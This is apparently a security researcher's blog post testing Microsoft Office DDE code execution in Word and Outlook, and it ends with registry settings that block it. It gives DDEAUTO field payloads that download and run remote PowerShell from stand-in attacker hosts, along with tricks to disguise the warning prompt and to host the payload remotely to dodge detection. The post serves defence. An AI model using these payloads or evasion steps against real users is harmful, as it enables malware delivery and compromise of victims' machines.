Security Sift
Introduction
Earlier this month I came across a post by the team at SensePost outlining their macro-less code execution technique using the antiquated DDE feature of Microsoft Word. As you may be aware, this feature has existed in Office for many years and was even written about over 15 years ago as a potential threat vector. Old or not, as we continue to put up obstacles in front of malicious actors in the form of disabling macros and other code execution restrictions, attacks are going to adapt and use whatever works, regardless of age so I saw this as viable vector worth exploring further.
I’m always interested in testing these type of techniques so I can better understand how to protect an Enterprise from such attacks and while I have posted some findings sporadically to Twitter, I wanted to better centralize my results. What follows is a synopsis of my test notes.
Testing in Word
The team at SensePost did a good job of outlining the technique in Word and I won’t rehash their notes so if you’re not familiar, I encourage you to check out the link in the Introduction.
Modifying the user warning
If you are familiar, you’ll know that simply opening a Word document with a DDEAUTO field is enough to execute it, though the user will be presented with several prompts, the first two of which are required to be answered “Yes” in order for successful execution.
The first prompt is generic and simply reads as follows:
The second prompt actually incorporates portions of the DDEAUTO command and therefore could make a more discerning user a bit suspicious, depending on what is being executed (in the below case, just Calc.exe).
One of the things that piqued my interest in the SensePost article was the following statement:
The second prompt asks the user whether or not they want to execute the specified application, now this can be considered as a security warning since it asks the user to execute “cmd.exe”, however with proper syntax modification it can be hidden
I began modifying the syntax and, using their example of executing a remote Powershell script, went from this…
{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}
… to this …
{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://[evil_ip]/shell.txt');powershell $e # " "for security reasons"}
Aside from opting to call Powershell directly, the key difference here is the directory manipulation and message verbiage added as the second parameter of the DDEAUTO command, which results in a potentially more convincing prompt:
It wasn’t long before this technique was being observed in the wild:
https://twitter.com/GossiTheDog/status/919686197047451653
Finding vulnerable file types
If you’re responsible for the security of an organization/enterprise you know that file types can make all the difference when when determining whether your detection and prevention solutions are adequate. For example, maybe you sandbox email attachments and that technology may do a good job scanning .doc or docx., but what about Word XML? Turns out, as long as Word is set as the default parser, the following file types can all be used as a vector: doc(x/m), dot(x/m), rtf, and Word xml. I’ll post the prevention steps at the end of this article, but note that if for whatever reason you cannot apply those registry settings (or you don’t manage all of the workstations in your environment) you should consider how else you might detect/prevent DDE should it come in via any of the above file types. Also note that Word files can be embedded in other office documents (Publisher, PowerPoint, etc.) so it’s not always as straightforward as identifying these particular file types in email attachments.
Testing in Outlook
While Word was presented as the threat vector by Sensepost, I was also curious about Outlook file types as these could be much harder to detect. Since Outlook uses Word as its native parser, I found that attaching a draft message (.msg) or tempate (.oft) file would also execute the DDE should a user open that attachment:
While certainly important to know (are you scanning all .msg attachments as they come into your environment?), I was more interested in determining whether I could execute DDE directly in an email rather than embedding in an attachment. I tested across multiple versions of Outlook (2007, 2013, 2016) but wasn’t able to get anything consistently working. Then I saw this tweet:
https://twitter.com/GossiTheDog/status/920635876375449600
At first I couldn’t replicate this in any Outlook version and I kept thinking about what could be different. Visually, the only thing I could see was the profile picture, and while that may not have been the trigger it did get me thinking about embedding other content to see if that would influence the DDE execution (up to now I had been testing the DDEAUTO field on its own).
Sure enough, I found that by adding a picture, a chart, or another object, I could consistently trigger DDE on message reply in all versions of Outlook.
Note that the DDEATUO command itself is in the body of the message, not the inserted object. What I did for the above message was to add the DDEAUTO command in white text (directly above the signature block) and inserted the “Reply to this message…” line as an embedded WordPad document (Insert->Object->WordPad document) which automatically triggers the DDE upon hitting “Reply” or “Reply All”.
Btw, if you’re testing this yourself, be sure that you always format the original email in RTF. Also, I found that certain mail services (e.g. Hotmail) may automatically convert messages to HTML so that the DDE is stripped before it makes it to the recipient. I was able to consistently get DDE working by sending from an Gmail account (using an Outlook client) to another email service (e.g. MS Exchange).
The same worked for Outlook Tasks as well. Worse still, meeting requests automatically execute DDE upon open (no Reply needed) and do so again if the recipient tries to cancel the meeting.
UPDATE (11/7):
I recently read another great write-up by Etienne Stalmans about DDE obfuscation which talks about additional ways to hide the DDE payload using techniques such as SET/QUOTE field codes and, more interestingly, using framesets to host the the DDE content in another document altogether (in an effort to defeat YARA and similar rule detection). The latter got me thinking about the use of the INCLUDE field code and sure enough, I found I was able to host the DDE payload in another publicly accessible Word document, separate from the Word doc distributed via email.
First, host the document containing the chosen DDEAUTO command at an externally-accessible location…I chose Dropbox for testing purposes. Then, within the the Word document you plan to test for detection (e.g. the one that would be sent to an end user), simply insert the INCLUDE field code along with the URL of the hosted DDE document. For some additional basic obfuscation, I placed the location of the externally-hosted DDE document in the comments property field and referenced it with the DOCPROPERTY field code.
{INCLUDE { DOCPROPERTY "Comments" }}
The comments field just looks like this:
Once you make this a dirty link (see below as well as the above-referenced write-up), it should automatically prompt each time the user opens.
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
Prevention
So how do you prevent this vector? For machines under your management control, DDE execution can be disabled via registry key though keep in mind there are separate keys for Word and Outlook.
Someone has already set up a Github page with these registry keys so I won’t re-list them here.
However, note that at the time of this writing, the above page did not include Outlook or Word 2007 which are as follows:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Outlook\Options\vpref]
“fNoCalclinksOnopen_90_1” = dword:00000001
… and …
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Options\vpref]
“fNoCalclinksOnopen_90_1” = dword:00000001
Conclusion
Though an old feature, since this technique was recently re-introduced, DDE has become a go-to attack vector.
While some endpoint products may detect files with embedded DDE (or more likely, the eventual execution of Powershell from Word/Outlook) and your network-based detections could also pick up on some of this, between prompt manipulation and multiple file types (including native Outlook email messages), the best way to prevent this DDE attack vector is to disable it altogether via the above Registry changes. Also keep in mind there are similar code execution issues with Excel, also covered by SensePost.
A quick Twitter search will show that there are plenty of other people testing this (some of which have uncovered the exact same results and possibly more) so if I come across anything of note, I’ll update this post further.
Until next time,
Mike
